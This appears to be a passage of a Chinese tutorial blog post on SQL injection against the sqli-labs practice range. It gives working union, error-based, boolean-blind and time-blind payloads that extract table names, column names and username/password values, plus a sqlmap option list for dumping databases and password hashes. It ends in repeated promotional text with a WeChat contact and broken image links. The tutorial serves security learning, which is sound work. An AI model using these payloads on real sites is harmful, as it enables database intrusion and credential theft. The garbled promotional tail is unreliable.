union select 1,(select group_concat(user,pass) from users), 3 --+
4.sqli_labs靶场
一、数字型注入:
传入id=1进行查找注入点,发现页面回显正常
半段注入类型,?id=1-2发现页面无回显,因为表达式传入sql语句中进行了运算,结果为假所以没有回显,类型为数字型注入
使用order by进行判断字段数,4的时候报错说明字段数为3 使用–+来注释后面的语句
发现回显位为2和3,使用union连接sql语句 id=-1注释前面多余语句
查询数据库版本号和当前数据库名
查询security库下面有哪些表
查询users表中的字段
爆出username,password的值
二、报错注入
1.extractvalue
判断闭合方式为单引号
判断字段数到4报错,字段长度为3
使用extractvalue进行报错注入
?id=1’ union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
查看数据库下的所以表
?id=1’ and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’))) --+
查询users表下的所以字段名
?id=1’ and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=‘security’ and table_name=‘users’))) --+
查询users和paswd的值
?id=1’ and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,‘:’,password),1,30) from users))) --+
2.updatexml
这个跟上面那个差不多我这里就不演示了,直接放命令
查询数据库名
?id=1" and 1=updatexml(1,concat(‘~’,(select database())),3) --+
查询数据库下的所有表
?id=1" and 1=updatexml(1,concat(‘~’,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)
查询表下面的字段名
?id=1" and 1=updatexml(1,concat(‘~’,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=‘users’)),3) --+
查询字段值
?id=1" and 1=updatexml(1,concat(‘~’,(select substring(group_concat(username,‘~’,password),1,30)from users)),3) --+
三、布尔盲注
适用情况:页面没有显示位,没有报错信息,只有成功和不成功两种情况,web页面只返回True真,False假两种类型利用页面返回不同,逐个猜解数据
使用方法:
使用ascii()把查询到的内容转换成数字,以真假页面来判断字母对应的ascii码数字的正确
看到ascii等于115的时候页面返回为真,等于116的时候页面为假以此判断数据库的一个字符的ascii码值为115,然后对他进行解码就可以了
接下来的操作就是以此类推
查询数据库下的所有表 等于101的时候为真
?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
四、时间盲注
时间盲注:就是通过页面回显的速度来判断真加
关键函数:sleep()
判断闭合符号,如果页面被立马执行了就说明为真,缓存三秒后就为假
可以看到响应时间为三秒说明闭合方式为单引号
5.sqlmap工具使用
**ps:**sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。
1、sqlmap支持的六种注入模式
1、基于布尔盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句 是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入、即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入、可以使用union的情况下的注入。
5、堆查询注入、可以同时执行多条语句的执行时的注入。
6、内联查询注入、在sql语句中执行sql语句
2.url的选择
-u 目标URL
例:sqlmap -u “www.abc.com/index.php?id=1”
-m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
例:sqlmap -m target.txt
-r 可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。
例:sqlmap -r bp.txt
3.常用命令及枚举
-b, --banner 获取数据库管理系统的标识
–current-user 获取数据库管理系统当前用户
–current-db 获取数据库管理系统当前数据库
–hostname 获取数据库服务器的主机名称
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–dbs 枚举数据库管理系统数据库
–tables 枚举DBMS数据库中的表
–columns 枚举DBMS数据库表列
-D 要进行枚举的指定数据库名
-T 要进行枚举的指定表名
-C 要进行枚举的指定列名
–dump 转储数据库表项,查询字段值
–search 搜索列(S),表(S)和/或数据库名称(S)
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
g.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-WydM5b8Z-1712718343918)]